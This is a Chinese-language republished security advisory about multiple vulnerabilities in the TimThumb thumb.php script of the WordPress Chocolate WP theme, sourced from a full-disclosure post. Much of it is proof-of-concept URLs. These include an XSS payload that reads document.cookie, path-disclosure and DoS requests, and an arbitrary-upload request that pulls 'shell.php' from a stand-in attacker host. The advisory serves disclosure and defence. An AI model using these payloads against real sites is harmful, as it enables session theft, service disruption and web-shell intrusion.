来源：自学PHP网 时间：2015-04-17 11:59 作者： 阅读:次
[导读] 受影响系统：WordPress Chocolate WP Theme描述：BUGTRAQ ID: 57541WordPress Chocolate WP是WP的商业主题。Chocolate WP Theme for WordPress在实现上存在跨站脚本、路径泄露、滥用功能、拒绝服务和......
|
受影响系统：
WordPress Chocolate WP Theme
描述：
BUGTRAQ ID: 57541
WordPress Chocolate WP是WP的商业主题。
Chocolate WP Theme for WordPress在实现上存在跨站脚本、路径泄露、滥用功能、拒绝服务和任意文件上传漏洞，攻击者可利用这些漏洞进行拒绝服务攻击、上传任意文件到受影响计算机、执行任意脚本代码等。细节请见：
XSS (WASC-08) (in older versions of TimThumb):
http://site/wp-content/themes/dt-chocolate/thumb.php?src=%3Cbody%20onload=alert(document.cookie)%3E.jpg
Full path disclosure (WASC-13):
http://site/wp-content/themes/dt-chocolate/thumb.php?src=%3C111
http://site/wp-content/themes/dt-chocolate/thumb.php?src=http://up.2cto.com/2013/0127/20130127104757723.png&h=1&w=1111111
http://site/wp-content/themes/dt-chocolate/thumb.php?src=http://up.2cto.com/2013/0127/20130127104757723.png&h=1111111&w=1
Abuse of Functionality (WASC-42):
http://site/wp-content/themes/dt-chocolate/thumb.php?src=http://site&h=1&w=1
http://site/wp-content/themes/dt-chocolate/thumb.php?src=http://site.badsite.com&h=1&w=1
(bypass of restriction on domain, if such restriction is turned on)
DoS (WASC-10):
http://site/wp-content/themes/dt-chocolate/thumb.php?src=http://site/big_file&h=1&w=1
http://site/wp-content/themes/dt-chocolate/thumb.php?src=http://site.badsite.com/big_file&h=1&w=1
(bypass of restriction on domain, if such restriction is turned on)
About such Abuse of Functionality and Denial of Service vulnerabilities you
can read in my article Using of the sites for attacks on other sites
(http://lists.grok.org.uk/pipermail/full-disclosure/2010-June/075384.html).
Arbitrary File Upload (WASC-31):
http://site/wp-content/themes/dt-chocolate/thumb.php?src=http://site.badsite.com/shell.php
Full path disclosure (WASC-13):
http://site/wp-content/themes/dt-chocolate/
<*来源：Eugene Dokukin
链接：http://seclists.org/fulldisclosure/2013/Jan/215
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
To exploit these issues, an attacker must entice an unsuspecting user to follow a malicious URI.
The following example URIs are available:
http://www.2cto.com /wp-content/themes/dt-chocolate/thumb.php?src=%3Cbody%20onload=alert(document.cookie)%3E.jpg
http://www.example.com/wp-content/themes/dt-chocolate/thumb.php?src=http://site/big_file&h=1&w=1
http://www.example.com/wp-content/themes/dt-chocolate/thumb.php?src=http://site.badsite.com/big_file&h=1&w=1
http://www.example.com/wp-content/themes/dt-chocolate/thumb.php?src=http://site.badsite.com/shell.php
建议：
厂商补丁：
WordPress
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://wordpress.org/
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习，以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明：本站所有视频，教程都由网友上传，站长收集和分享给大家学习使用，如由牵扯版权问题请联系站长邮箱904561283@qq.com
